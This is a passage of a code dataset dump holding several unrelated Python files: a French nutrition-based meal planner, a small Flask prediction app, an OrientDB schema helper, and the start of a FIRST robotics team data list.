getMarqueIngredient(ingredient):\n\treturn ingredients[ingredient][0]\n\ndef getTypeIngredient(ingredient):\n\treturn ingredients[ingredient][2]\n\ndef stringPlat(plat):\n\tstrings = []\n\tfor ingredient in plat :\n\t\tstrings.append(stringIngredient(ingredient))\n\treturn \":\".join(strings)\n\nwith codecs.open (\"./ingredients.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\ningredients = list(csv.reader(io.StringIO(myfile),delimiter=';'))\ningredients = ingredients[1:]\nrandom.shuffle(ingredients)\n\ndictIngredients = {}\ndictMarques = {}\ndictTypes = {}\nfor i in range(0, len(ingredients)):\n\tdictIngredients[stringIngredient(i)] = i\n\tif getMarqueIngredient(i) in dictMarques.keys():\n\t\tdictMarques[getMarqueIngredient(i)].append(i)\n\telse:\n\t\tdictMarques[getMarqueIngredient(i)] = [i]\n\tif getTypeIngredient(i) in dictTypes.keys():\n\t\tdictTypes[getTypeIngredient(i)].append(i)\n\telse:\n\t\tdictTypes[getTypeIngredient(i)] = [i]\n\nexclure = [[] for i in ingredients]\n\nwith codecs.open (\"./interdit.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\ninterdits = list(csv.reader(io.StringIO(myfile),delimiter=';'))\ninterdits = interdits[1:]\nfor interdit in interdits:\n\tif (\"%s - %s (%s %s)\" % (interdit[0], interdit[1], interdit[2], interdit[3])) in dictIngredients and (\"%s - %s (%s %s)\" % (interdit[4], interdit[5], interdit[6], interdit[7])) in dictIngredients:\n\t\texclure[dictIngredients[\"%s - %s (%s %s)\" % (interdit[0], interdit[1], interdit[2], interdit[3])]].append(dictIngredients[\"%s - %s (%s %s)\" % (interdit[4], interdit[5], interdit[6], interdit[7])])\n\t\texclure[dictIngredients[\"%s - %s (%s %s)\" % (interdit[4], interdit[5], interdit[6], interdit[7])]].append(dictIngredients[\"%s - %s (%s %s)\" % (interdit[0], interdit[1], interdit[2], interdit[3])])\n\telse :\n\t\tprint(\"Exclusion ignorée : \")\n\t\tprint(interdit)\n\n\nwith codecs.open (\"./interditTypes.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\ninterdits = list(csv.reader(io.StringIO(myfile),delimiter=';'))\ninterdits = interdits[1:]\nfor interdit in interdits:\n\tif interdit[0] in dictTypes and interdit[1] in dictTypes:\n\t\tfor i in dictTypes[interdit[0]]:\n\t\t\tfor j in dictTypes[interdit[1]]:\n\t\t\t\tif i not in exclure[j]:\n\t\t\t\t\texclure[j].append(i)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Doublon interdit %s %s\" % (stringIngredient(i), stringIngredient(j)))\n\t\t\t\tif j not in exclure[i]:\n\t\t\t\t\texclure[i].append(j)\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Doublon interdit %s %s\" % (stringIngredient(i), stringIngredient(j)))\n\telse :\n\t\tprint(\"Exclusion ignorée : \")\n\t\tprint(interdit)\n\nwith codecs.open (\"./interditMarques.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\ninterdits = list(csv.reader(io.StringIO(myfile),delimiter=';'))\ninterdits = interdits[1:]\nfor interdit in interdits:\n\tif interdit[0] in dictMarques and interdit[1] in dictMarques:\n\t\tfor i in dictMarques[interdit[0]]:\n\t\t\tfor j in dictMarques[interdit[1]]:\n\t\t\t\tif i not in exclure[j]:\n\t\t\t\t\texclure[j].append(i)\n\t\t\t\t# else:\n\t\t\t\t\t# print(\"Doublon interdit %s %s\" % (stringIngredient(i), stringIngredient(j)))\n\t\t\t\tif j not in exclure[i]:\n\t\t\t\t\texclure[i].append(j)\n\t\t\t\t# else:\n\t\t\t\t\t# print(\"Doublon interdit %s %s\" % (stringIngredient(i), stringIngredient(j)))\n\telse :\n\t\tprint(\"Exclusion ignorée : \")\n\t\tprint(interdit)\n\nbasePlat = []\n\nif utiliserBase:\n\twith codecs.open (\"./base.csv\", \"r\", \"cp1252\") as myfile:\n\t myfile=myfile.read().replace(',', '.')\n\tbase = list(csv.reader(io.StringIO(myfile),delimiter=';'))\n\tbase = base[1:]\n\tfor ing in base:\n\t\tif (\"%s - %s (%s %s)\" % (ing[0], ing[1], ing[2], ing[3])) in dictIngredients:\n\t\t\tbasePlat.append(dictIngredients[\"%s - %s (%s %s)\" % (ing[0], ing[1], ing[2], ing[3])])\n\t\telse :\n\t\t\tprint(\"Base ignorée\")\n\nenStock = []\nif utiliserStock:\n\twith codecs.open (\"./stock.csv\", \"r\", \"cp1252\") as myfile:\n\t myfile=myfile.read().replace(',', '.')\n\tstock = list(csv.reader(io.StringIO(myfile),delimiter=';'))\n\tstock = stock[1:]\n\tfor ing in stock:\n\t\tif (\"%s - %s (%s %s)\" % (ing[0], ing[1], ing[2], ing[3])) in dictIngredients:\n\t\t\tenStock.append(dictIngredients[\"%s - %s (%s %s)\" % (ing[0], ing[1], ing[2], ing[3])])\n\t\telse :\n\t\t\tprint(\"Stock ignoré : %s - %s (%s)\" % (ing[0], ing[1], ing[3]))\n\ndictPrevision = {}\nplatsPrevision = []\nif utiliserPrevision :\n\twith codecs.open (\"./prevision.csv\", \"r\", \"cp1252\") as myfile:\n\t myfile=myfile.read().replace(',', '.')\n\tprevision = list(csv.reader(io.StringIO(myfile),delimiter=';'))\n\tprevision = prevision[1:]\n\tfor ing in prevision:\n\t\tif not ing[0] in dictPrevision:\n\t\t\tdictPrevision[ing[0]] = len(platsPrevision)\n\t\t\tplatsPrevision.append([])\n\t\tif (\"%s - %s (%s %s)\" % (ing[1], ing[2], ing[3], ing[4])) in dictIngredients:\n\t\t\tplatsPrevision[dictPrevision[ing[0]]].append(dictIngredients[\"%s - %s (%s %s)\" % (ing[1], ing[2], ing[3], ing[4])])\n\t\telse :\n\t\t\tprint(\"Prévision ignorée : %s\" % (\"%s - %s (%s %s)\" % (ing[1], ing[2], ing[3], ing[4])))\n\nh_energie = 0.0\nh_matiereGrasse = 0.0\nh_matiereGrasseSaturee = 0.0\nh_glucides = 0.0\nh_sucres = 0.0\nh_fibres = 0.0\nh_proteines = 0.0\nh_sel = 0.0\n\nj_energie = 0.0\nj_matiereGrasse = 0.0\nj_matiereGrasseSaturee = 0.0\nj_glucides = 0.0\nj_sucres = 0.0\nj_fibres = 0.0\nj_proteines = 0.0\nj_sel = 0.0\n\nwith codecs.open (\"./historique.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\njournal = list(csv.reader(io.StringIO(myfile),delimiter=';'))\njournal = journal[1:]\ndateMax = datetime.strptime(\"01/01/1900\", \"%d/%m/%Y\")\nfor histo in journal:\n\tdate = datetime.strptime(histo[0], \"%d/%m/%Y\")\n\tif dateMax < date:\n\t\tdateMax = date\nfor histo in journal:\n\tdate = datetime.strptime(histo[0], \"%d/%m/%Y\")\n\tecart = dateMax - date\n\tif ecart.days < dureeHist:\n\t\th_energie += float(histo[5]) * float(histo[6])\t\n\t\th_matiereGrasse += float(histo[5]) * float(histo[7])\t\n\t\th_matiereGrasseSaturee += float(histo[5]) * float(histo[8])\t\n\t\th_glucides += float(histo[5]) * float(histo[9])\t\n\t\th_sucres += float(histo[5]) * float(histo[10])\t\n\t\th_fibres += float(histo[5]) * float(histo[11])\t\n\t\th_proteines += float(histo[5]) * float(histo[12])\t\n\t\th_sel += float(histo[5]) * float(histo[13])\n\tif ecart.days < 1:\n\t\tj_energie += float(histo[5]) * float(histo[6])\t\n\t\tj_matiereGrasse += float(histo[5]) * float(histo[7])\t\n\t\tj_matiereGrasseSaturee += float(histo[5]) * float(histo[8])\t\n\t\tj_glucides += float(histo[5]) * float(histo[9])\t\n\t\tj_sucres += float(histo[5]) * float(histo[10])\t\n\t\tj_fibres += float(histo[5]) * float(histo[11])\t\n\t\tj_proteines += float(histo[5]) * float(histo[12])\t\n\t\tj_sel += float(histo[5]) * float(histo[13])\t\n\n\nh2_energie = 0.0\nh2_matiereGrasse = 0.0\nh2_matiereGrasseSaturee = 0.0\nh2_glucides = 0.0\nh2_sucres = 0.0\nh2_fibres = 0.0\nh2_proteines = 0.0\nh2_sel = 0.0\n\nj2_energie = 0.0\nj2_matiereGrasse = 0.0\nj2_matiereGrasseSaturee = 0.0\nj2_glucides = 0.0\nj2_sucres = 0.0\nj2_fibres = 0.0\nj2_proteines = 0.0\nj2_sel = 0.0\n\nwith codecs.open (\"./historique2.csv\", \"r\", \"cp1252\") as myfile:\n myfile=myfile.read().replace(',', '.')\njournal = list(csv.reader(io.StringIO(myfile),delimiter=';'))\njournal = journal[1:]\ndateMax = datetime.strptime(\"01/01/1900\", \"%d/%m/%Y\")\nfor histo in journal:\n\tdate = datetime.strptime(histo[0], \"%d/%m/%Y\")\n\tif dateMax < date:\n\t\tdateMax = date\nfor histo in journal:\n\tdate = datetime.strptime(histo[0], \"%d/%m/%Y\")\n\tecart = dateMax - date\n\tif ecart.days < 30:\n\t\th2_energie += float(histo[5]) * float(histo[6])\t\n\t\th2_matiereGrasse += float(histo[5]) * float(histo[7])\t\n\t\th2_matiereGrasseSaturee += float(histo[5]) * float(histo[8])\t\n\t\th2_glucides += float(histo[5]) * float(histo[9])\t\n\t\th2_sucres += float(histo[5]) * float(histo[10])\t\n\t\th2_fibres += float(histo[5]) * float(histo[11])\t\n\t\th2_proteines += float(histo[5]) * float(histo[12])\t\n\t\th2_sel += float(histo[5]) * float(histo[13])\t\n\tif ecart.days < 1:\n\t\tj2_energie += float(histo[5]) * float(histo[6])\t\n\t\tj2_matiereGrasse += float(histo[5]) * float(histo[7])\t\n\t\tj2_matiereGrasseSaturee += float(histo[5]) * float(histo[8])\t\n\t\tj2_glucides += float(histo[5]) * float(histo[9])\t\n\t\tj2_sucres += float(histo[5]) * float(histo[10])\t\n\t\tj2_fibres += float(histo[5]) * float(histo[11])\t\n\t\tj2_proteines += float(histo[5]) * float(histo[12])\t\n\t\tj2_sel += float(histo[5]) * float(histo[13])\n\nplatsPossibles = []\nscorePlatsPossibles = []\n\nbase_energie = 2000.0\nbase_matiereGrasse = 70.0\nbase_matiereGrasseSaturee = 20.0\nbase_glucides = 260.0\nbase_sucres = 90.0\nbase_fibres = 30.0\nbase_proteines = 50.0\nbase_sel = 6.0\n\nquotient_apports = perso_energie / base_energie\nquotient_apports2 = perso_energie2 / base_energie\n\no_energie = base_energie * quotient_apports\no_matiereGrasse = base_matiereGrasse * quotient_apports\no_matiereGrasseSaturee = base_matiereGrasseSaturee * quotient_apports\no_glucides = base_glucides * quotient_apports\no_sucres = base_sucres * quotient_apports\no_fibres = base_fibres * quotient_apports\no_proteines = base_proteines * quotient_apports\no_sel = base_sel * quotient_apports\n\no2_energie = base_energie * quotient_apports2\no2_matiereGrasse = base_matiereGrasse * quotient_apports2\no2_matiereGrasseSaturee = base_matiereGrasseSaturee * quotient_apports2\no2_glucides = base_glucides * quotient_apports2\no2_sucres = base_sucres * quotient_apports2\no2_fibres = base_fibres * quotient_apports2\no2_proteines = base_proteines * quotient_apports2\no2_sel = base_sel * quotient_apports2\n\nc_energie = 2 - h_energie / 100 / dureeHist / o_energie\nc_matiereGrasse = 2 - h_matiereGrasse / 100 / dureeHist / o_matiereGrasse\nc_matiereGrasseSaturee = 2 - h_matiereGrasseSaturee / 100 / dureeHist / o_matiereGrasseSaturee\nc_glucides = 2 - h_glucides / 100 / dureeHist / o_glucides\nc_sucres = 2 - h_sucres / 100 / dureeHist / o_sucres\nc_fibres = 2 - h_fibres / 100 / dureeHist / o_fibres\nc_proteines = 2 - h_proteines / 100 / dureeHist / o_proteines\nc_sel = 2 - h_sel / 100 / dureeHist / o_sel\n\nc2_energie = 2 - h2_energie / 100 / dureeHist / o2_energie\nc2_matiereGrasse = 2 - h2_matiereGrasse / 100 / dureeHist / o2_matiereGrasse\nc2_matiereGrasseSaturee = 2 - h2_matiereGrasseSaturee / 100 / dureeHist / o2_matiereGrasseSaturee\nc2_glucides = 2 - h2_glucides / 100 / dureeHist / o2_glucides\nc2_sucres = 2 - h2_sucres / 100 / dureeHist / o2_sucres\nc2_fibres = 2 - h2_fibres / 100 / dureeHist / o2_fibres\nc2_proteines = 2 - h2_proteines / 100 / dureeHist / o2_proteines\nc2_sel = 2 - h2_sel / 100 / dureeHist / o2_sel\n\ncd_energie = 2 - (h_energie - j_energie) / 100 / (dureeHist - 1) / o_energie\ncd_matiereGrasse = 2 - (h_matiereGrasse - j_matiereGrasse) / 100 / (dureeHist - 1) / o_matiereGrasse\ncd_matiereGrasseSaturee = 2 - (h_matiereGrasseSaturee - j_matiereGrasseSaturee) / 100 / (dureeHist - 1) / o_matiereGrasseSaturee\ncd_glucides = 2 - (h_glucides - j_glucides) / 100 / (dureeHist - 1) / o_glucides\ncd_sucres = 2 - (h_sucres - j_sucres) / 100 / (dureeHist - 1) / o_sucres\ncd_fibres = 2 - (h_fibres - j_fibres) / 100 / (dureeHist - 1) / o_fibres\ncd_proteines = 2 - (h_proteines - j_proteines) / 100 / (dureeHist - 1) / o_proteines\ncd_sel = 2 - (h_sel - j_sel) / 100 / (dureeHist - 1) / o_sel\n\ncd2_energie = 2 - (h2_energie -j2_energie) / 100 / (dureeHist - 1) / o2_energie\ncd2_matiereGrasse = 2 - (h2_matiereGrasse - j2_matiereGrasse) / 100 / (dureeHist - 1) / o2_matiereGrasse\ncd2_matiereGrasseSaturee = 2 - (h2_matiereGrasseSaturee - j2_matiereGrasseSaturee) / 100 / (dureeHist - 1) / o2_matiereGrasseSaturee\ncd2_glucides = 2 - (h2_glucides - j2_glucides) / 100 / (dureeHist - 1) / o2_glucides\ncd2_sucres = 2 - (h2_sucres - j2_sucres) / 100 / (dureeHist - 1) / o2_sucres\ncd2_fibres = 2 - (h2_fibres - j2_fibres) / 100 / (dureeHist - 1) / o2_fibres\ncd2_proteines = 2 - (h2_proteines - j2_proteines) / 100 / (dureeHist - 1) / o2_proteines\ncd2_sel = 2 - (h2_sel - j2_sel) / 100 / (dureeHist - 1) / o2_sel\n\nd_energie = j_energie / 100 / o_energie\nd_matiereGrasse = j_matiereGrasse / 100 / o_matiereGrasse\nd_matiereGrasseSaturee = j_matiereGrasseSaturee / 100 / o_matiereGrasseSaturee\nd_glucides = j_glucides / 100 / o_glucides\nd_sucres = j_sucres / 100 / o_sucres\nd_fibres = j_fibres / 100 / o_fibres\nd_proteines = j_proteines / 100 / o_proteines\nd_sel = j_sel / 100 / o_sel\n\nd2_energie = j2_energie / 100 / o2_energie\nd2_matiereGrasse = j2_matiereGrasse / 100 / o2_matiereGrasse\nd2_matiereGrasseSaturee = j2_matiereGrasseSaturee / 100 / o2_matiereGrasseSaturee\nd2_glucides = j2_glucides / 100 / o2_glucides\nd2_sucres = j2_sucres / 100 / o2_sucres\nd2_fibres = j2_fibres / 100 / o2_fibres\nd2_proteines = j2_proteines / 100 / o2_proteines\nd2_sel = j2_sel / 100 / o2_sel\n\nscore = 0.0\nscore2 = 0.0\n\nscore += abs(1 - c_energie)\nscore += abs(1 - c_matiereGrasse)\nscore += abs(1 - c_matiereGrasseSaturee)\nscore += abs(1 - c_glucides)\nscore += abs(1 - c_sucres)\nscore += abs(1 - c_fibres)\nscore += abs(1 - c_proteines)\nscore += abs(1 - c_sel)\n\nscore2 += abs(1 - c2_energie)\nscore2 += abs(1 - c2_matiereGrasse)\nscore2 += abs(1 - c2_matiereGrasseSaturee)\nscore2 += abs(1 - c2_glucides)\nscore2 += abs(1 - c2_sucres)\nscore2 += abs(1 - c2_fibres)\nscore2 += abs(1 - c2_proteines)\nscore2 += abs(1 - c2_sel)\n\nscore /= 8\nscore2 /= 8\n\nscored = 0.0\nscored2 = 0.0\n\nscored += abs(1 - cd_energie)\nscored += abs(1 - cd_matiereGrasse)\nscored += abs(1 - cd_matiereGrasseSaturee)\nscored += abs(1 - cd_glucides)\nscored += abs(1 - cd_sucres)\nscored += abs(1 - cd_fibres)\nscored += abs(1 - cd_proteines)\nscored += abs(1 - cd_sel)\n\nscored2 += abs(1 - cd2_energie)\nscored2 += abs(1 - cd2_matiereGrasse)\nscored2 += abs(1 - cd2_matiereGrasseSaturee)\nscored2 += abs(1 - cd2_glucides)\nscored2 += abs(1 - cd2_sucres)\nscored2 += abs(1 - cd2_fibres)\nscored2 += abs(1 - cd2_proteines)\nscored2 += abs(1 - cd2_sel)\n\nscored /= 8\nscored2 /= 8\n\nif utiliserHistorique:\n\tp_energie = proportionRepas * c_energie\n\tp_matiereGrasse = proportionRepas * c_matiereGrasse\n\tp_matiereGrasseSaturee = proportionRepas * c_matiereGrasseSaturee\n\tp_glucides = proportionRepas * c_glucides\n\tp_sucres = proportionRepas * c_sucres\n\tp_fibres = proportionRepas * c_fibres\n\tp_proteines = proportionRepas * c_proteines\n\tp_sel = proportionRepas * c_sel\n\n\tp2_energie = proportionRepas * c2_energie\n\tp2_matiereGrasse = proportionRepas * c2_matiereGrasse\n\tp2_matiereGrasseSaturee = proportionRepas * c2_matiereGrasseSaturee\n\tp2_glucides = proportionRepas * c2_glucides\n\tp2_sucres = proportionRepas * c2_sucres\n\tp2_fibres = proportionRepas * c2_fibres\n\tp2_proteines = proportionRepas * c2_proteines\n\tp2_sel = proportionRepas * c2_sel\nelse :\n\tp_energie = proportionRepas\n\tp_matiereGrasse = proportionRepas\n\tp_matiereGrasseSaturee = proportionRepas\n\tp_glucides = proportionRepas\n\tp_sucres = proportionRepas\n\tp_fibres = proportionRepas\n\tp_proteines = proportionRepas\n\tp_sel = proportionRepas\n\n\tp2_energie = proportionRepas\n\tp2_matiereGrasse = proportionRepas\n\tp2_matiereGrasseSaturee = proportionRepas\n\tp2_glucides = proportionRepas\n\tp2_sucres = proportionRepas\n\tp2_fibres = proportionRepas\n\tp2_proteines = proportionRepas\n\tp2_sel = proportionRepas\n\ndef calculScorePlat(plat):\n\tenergie = 0.0\n\tmatiereGrasse = 0.0\n\tmatiereGrasseSaturee = 0.0\n\tglucides = 0.0\n\tsucres = 0.0\n\tfibres = 0.0\n\tproteines = 0.0\n\tsel = 0.0\n\tfor ingredient in plat :\n\t\tenergie += float(ingredients[ingredient][3]) * float(ingredients[ingredient][4])\n\t\tmatiereGrasse += float(ingredients[ingredient][3]) * float(ingredients[ingredient][5])\n\t\tmatiereGrasseSaturee += float(ingredients[ingredient][3]) * float(ingredients[ingredient][6])\n\t\tglucides += float(ingredients[ingredient][3]) * float(ingredients[ingredient][7])\n\t\tsucres += float(ingredients[ingredient][3]) * float(ingredients[ingredient][8])\n\t\tfibres += float(ingredients[ingredient][3]) * float(ingredients[ingredient][9])\n\t\tproteines += float(ingredients[ingredient][3]) * float(ingredients[ingredient][10])\n\t\tsel += float(ingredients[ingredient][3]) * float(ingredients[ingredient][11])\n\tscorePlat = 0.0\n\n\tif not mode == 2:\n\n\t\tr_energie = energie / o_energie / 100\n\t\tr_matiereGrasse = matiereGrasse / o_matiereGrasse / 100\n\t\tr_matiereGrasseSaturee = matiereGrasseSaturee / o_matiereGrasseSaturee / 100\n\t\tr_glucides = glucides / o_glucides / 100\n\t\tr_sucres = sucres / o_sucres / 100\n\t\tr_fibres = fibres / o_fibres / 100\n\t\tr_proteines = proteines / o_proteines / 100\n\t\tr_sel = sel / o_sel / 100\n\t\tscorePlat += abs(r_energie - p_energie)\n\t\tscorePlat += abs(r_matiereGrasse - p_matiereGrasse)\n\t\tscorePlat += abs(r_matiereGrasseSaturee - p_matiereGrasseSaturee)\n\t\tscorePlat += abs(r_glucides - p_glucides)\n\t\tscorePlat += abs(r_sucres - p_sucres)\n\t\tscorePlat += abs(r_fibres - p_fibres)\n\t\tscorePlat += abs(r_proteines - p_proteines)\n\t\tscorePlat += abs(r_sel - p_sel)\n\n\tif not mode == 3:\n\n\t\tr2_energie = energie / o2_energie / 100\n\t\tr2_matiereGrasse = matiereGrasse / o2_matiereGrasse / 100\n\t\tr2_matiereGrasseSaturee = matiereGrasseSaturee / o2_matiereGrasseSaturee / 100\n\t\tr2_glucides = glucides / o2_glucides / 100\n\t\tr2_sucres = sucres / o2_sucres / 100\n\t\tr2_fibres = fibres / o2_fibres / 100\n\t\tr2_proteines = proteines / o2_proteines / 100\n\t\tr2_sel = sel / o2_sel / 100\n\t\tscorePlat += abs(r2_energie - p2_energie)\n\t\tscorePlat += abs(r2_matiereGrasse - p2_matiereGrasse)\n\t\tscorePlat += abs(r2_matiereGrasseSaturee - p2_matiereGrasseSaturee)\n\t\tscorePlat += abs(r2_glucides - p2_glucides)\n\t\tscorePlat += abs(r2_sucres - p2_sucres)\n\t\tscorePlat += abs(r2_fibres - p2_fibres)\n\t\tscorePlat += abs(r2_proteines - p2_proteines)\n\t\tscorePlat += abs(r2_sel - p2_sel)\n\t\n\tif mode == 1:\n\t\tscorePlat /= 2\n\n\treturn scorePlat\n\nplatsPossibles.append(basePlat)\nscorePlatsPossibles.append(calculScorePlat(basePlat))\n\nlenTourPrecedent = 0\nfor nbAjouts in range(0, nbIng):\n\tlenTour = len(platsPossibles)\n\tif len(platsPossibles) > limiteNbPlats:\n\t\tbreak\n\tfor i in range(lenTourPrecedent ,len(platsPossibles)):\n\t\tif lenTour > limiteNbPlats:\n\t\t\tbreak\n\t\tif utiliserStock:\n\t\t\tif(len(platsPossibles[i]) > len(basePlat)):\n\t\t\t\tshuffled = []\n\t\t\t\tfor ing in enStock:\n\t\t\t\t\tif ing >= platsPossibles[i][-1]:\n\t\t\t\t\t\tshuffled.append(ing)\n\t\t\telse :\n\t\t\t\tshuffled = copy.deepcopy(enStock)\n\t\telse:\n\t\t\tif(len(platsPossibles[i]) > len(basePlat)):\n\t\t\t\tshuffled = range(platsPossibles[i][-1], len(ingredients))\n\t\t\telse:\n\t\t\t\tshuffled = range(0, len(ingredients))\n\t\trandom.shuffle(shuffled)\n\t\tfor j in shuffled[:nbRandomIng]:\n\t\t\tif len(platsPossibles) > limiteNbPlats:\n\t\t\t\tbreak\n\t\t\tplat = copy.deepcopy(platsPossibles[i])\n\t\t\tplat.append(j)\n\t\t\timpossible = False\n\t\t\tfor prec in platsPossibles[i]:\n\t\t\t\tif j in exclure[prec]:\n\t\t\t\t\timpossible = True\n\t\t\tif scorePlatsPossibles[i] > calculScorePlat(plat) and not impossible:\n\t\t\t\tplatsPossibles.append(plat)\n\t\t\t\tscorePlatsPossibles.append(calculScorePlat(plat))\n\tlenTourPrecedent = lenTour\n\nfor i in np.argsort(scorePlatsPossibles)[nbResultats::-1]:\n# for i in np.argsort(scorePlatsPossibles)[::-1]:\n\tprint(stringPlat(platsPossibles[i]))\n\tprint(scorePlatsPossibles[i])\n\nprint(len(scorePlatsPossibles))\n\nif mode != 2:\n\tprint(\"Score personne 1 : %f\" % score)\n\tprint(\"Score précédent personne 1 : %f\" % scored)\n\tprint(\"Correction energie personne 1 : %f\" % c_energie)\n\tprint(\"Dernier energie personne 1 : %f\" % d_energie)\n\tprint(\"Correction lipides personne 1 : %f\" % c_matiereGrasse)\n\tprint(\"Dernier lipides personne 1 : %f\" % d_matiereGrasse)\n\tprint(\"Correction ags personne 1 : %f\" % c_matiereGrasseSaturee)\n\tprint(\"Dernier ags personne 1 : %f\" % d_matiereGrasseSaturee)\n\tprint(\"Correction glucides personne 1 : %f\" % c_glucides)\n\tprint(\"Dernier glucides personne 1 : %f\" % d_glucides)\n\tprint(\"Correction sucres personne 1 : %f\" % c_sucres)\n\tprint(\"Dernier sucres personne 1 : %f\" % d_sucres)\n\tprint(\"Correction fibres personne 1 : %f\" % c_fibres)\n\tprint(\"Dernier fibres personne 1 : %f\" % d_fibres)\n\tprint(\"Correction proteines personne 1 : %f\" % c_proteines)\n\tprint(\"Dernier proteines personne 1 : %f\" % d_proteines)\n\tprint(\"Correction sel personne 1 : %f\" % c_sel)\n\tprint(\"Dernier sel personne 1 : %f\" % d_sel)\n\nif mode != 3:\n\tprint(\"Score personne 2 : %f\" % score2)\n\tprint(\"Score précédent personne 2 : %f\" % scored2)\n\tprint(\"Correction energie personne 2 : %f\" % c2_energie)\n\tprint(\"Dernier energie personne 2 : %f\" % d2_energie)\n\tprint(\"Correction lipides personne 2 : %f\" % c2_matiereGrasse)\n\tprint(\"Dernier lipides personne 2 : %f\" % d2_matiereGrasse)\n\tprint(\"Correction ags personne 2 : %f\" % c2_matiereGrasseSaturee)\n\tprint(\"Dernier ags personne 2 : %f\" % d2_matiereGrasseSaturee)\n\tprint(\"Correction glucides personne 2 : %f\" % c2_glucides)\n\tprint(\"Dernier glucides personne 2 : %f\" % d2_glucides)\n\tprint(\"Correction sucres personne 2 : %f\" % c2_sucres)\n\tprint(\"Dernier sucres personne 2 : %f\" % d2_sucres)\n\tprint(\"Correction fibres personne 2 : %f\" % c2_fibres)\t\n\tprint(\"Dernier fibres personne 2 : %f\" % d2_fibres)\t\n\tprint(\"Correction proteines personne 2 : %f\" % c2_proteines)\n\tprint(\"Dernier proteines personne 2 : %f\" % d2_proteines)\n\tprint(\"Correction sel personne 2 : %f\" % c2_sel)\n\tprint(\"Dernier sel personne 2 : %f\" % d2_sel)\n\nscorePlatsPrevision = []\n\nfor plat in platsPrevision :\n\tscorePlatsPrevision.append(calculScorePlat(plat))\n\nfor i in np.argsort(scorePlatsPrevision)[::-1]:\n# for i in np.argsort(scorePlatsPossibles)[::-1]:\n\tprint(stringPlat(platsPrevision[i]))\n\tprint(scorePlatsPrevision[i])\n\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":21774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"262681009","text":"\r\nimport numpy as np\r\nfrom flask import Flask, request, jsonify, render_template\r\nimport pickle\r\n\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('social.pkl', 'rb'))\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template('index1.html')\r\n\r\n@app.route('/predict',methods=['POST'])\r\ndef predict():\r\n '''\r\n For rendering results on HTML GUI\r\n '''\r\n int_features = [int(x) for x in request.form.values()]\r\n final_features = [np.array(int_features)]\r\n prediction = model.predict(final_features)\r\n if prediction == 1:\r\n output = 'Yes, This ad is suitable for the particular age!!'\r\n elif prediction == 0:\r\n output = 'No, This ad is not suitable for the particular age!!'\r\n else:\r\n print(\"Invalid\")\r\n\r\n return render_template('index1.html', prediction_text='{}'.format(output))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)","sub_path":"hello_app.py","file_name":"hello_app.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"542313993","text":"from collections import namedtuple\n\nfrom aio_pyorient.serializer import serialize, Boolean, Integer, List, String, Float, Type, IntegerList, StringList\n\n\nODBRecord = namedtuple(\"ODBRecord\", \"type, id, version, data\")\nODBCluster = namedtuple('ODBCluster', 'name, id')\nODBRequestErrorMessage = namedtuple(\"ODBException\", \"class_name, message\")\n\nclass ODBClusters(list):\n\n def get(self, prop: int or str)->str or int:\n is_id = isinstance(prop, int)\n attr_type = 'id' if is_id else 'name'\n try:\n clusters = [cl for cl in self if prop in cl]\n except IndexError:\n raise ValueError(\n f\"cluster with {attr_type} {prop} does not exist\"\n )\n else:\n if is_id:\n return [cluster.name for cluster in clusters]\n return [cluster.id for cluster in clusters]\n\nSCHEMA_SPECS = {\n 'abstract': Boolean,\n 'clusterIds': IntegerList,\n 'clusterSelection': String,\n 'customFields': String,\n 'defaultClusterId': Integer,\n 'description': String,\n 'name': String,\n 'overSize': Float,\n 'properties': String,\n 'shortName': String,\n 'strictMode': Boolean,\n 'superClass': String,\n 'superClasses': StringList,\n 'type': Type,\n 'notNull': Boolean,\n 'mandatory': Boolean\n}\nPROPS_SPECS = {\n 'collate': String,\n 'customFields': List,\n 'defaultValue': String,\n 'description': String,\n 'globalId': Integer,\n 'mandatory': Boolean,\n 'max': Integer,\n 'min': Integer,\n 'name': String,\n 'notNull': Boolean,\n 'readonly': Boolean,\n 'type': Type\n}\n\nclass ODBSchema:\n def __init__(self, records):\n self._classes = {}\n for record in records:\n d_string = record.data.decode()\n props = []\n props_start = d_string.find('<(')\n if props_start >= 0:\n props_end = d_string.find(')>')\n p_string = d_string[props_start + 1:props_end]\n props = [\n serialize(_p, PROPS_SPECS) for _p in p_string.split('),(')\n ]\n d_string = d_string[0:props_start] + d_string[props_end+1:]\n data = serialize(d_string, SCHEMA_SPECS)\n data['properties'] = {prop['name']: prop for prop in props}\n self._classes[data['name']] = data\n\n def __str__(self):\n return f''\n\n @property\n def classes(self):\n return self._classes\n","sub_path":"aio_pyorient/odb_types.py","file_name":"odb_types.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"324756105","text":"list_1111 = [\n\t'Edgewater, Maryland',2003,True,['CHS District Bethesda MS Event sponsored by Bechtel', #Just tons of lists until line 23\n\t'CHS District Owings Mills MD Event sponsored by Leidos','FIRST Chesapeake District Championship'],\n\t['Bethesda, Maryland','Owings Mills, Maryland','Fairfax, Virginia'],\n\t['Autonomous Award sponsored by Ford',\"District Chairman's Award\",'Team Spirit Award sponsored by FCA Foundation']]\n\nlist_1678 = [\n\t'Davis, California',2005,True,\n\t['Central Valley Regional','Sacramento Regional','Aerospace Valley Regional','Carver Division','Einstein Field',\n\t'RCC Qianjiang International Robotics Invitational'],['Fresno, California','Davis, California','Lancaster, California',\n\t'Houston, Texas','Hangzhou, China'],[\"Regional Chairman's Award\",'Regional Winners',\"FIRST Dean's List Finalist Award\",\n\t'Industrial Design Award sponsored by General Motors','Excellence in Engineering Award sponsored by Delphi',\n\t'Championship Subdivision Winner','Entrepeneurship Award sponsored by Kleiner Perkins Caufield and 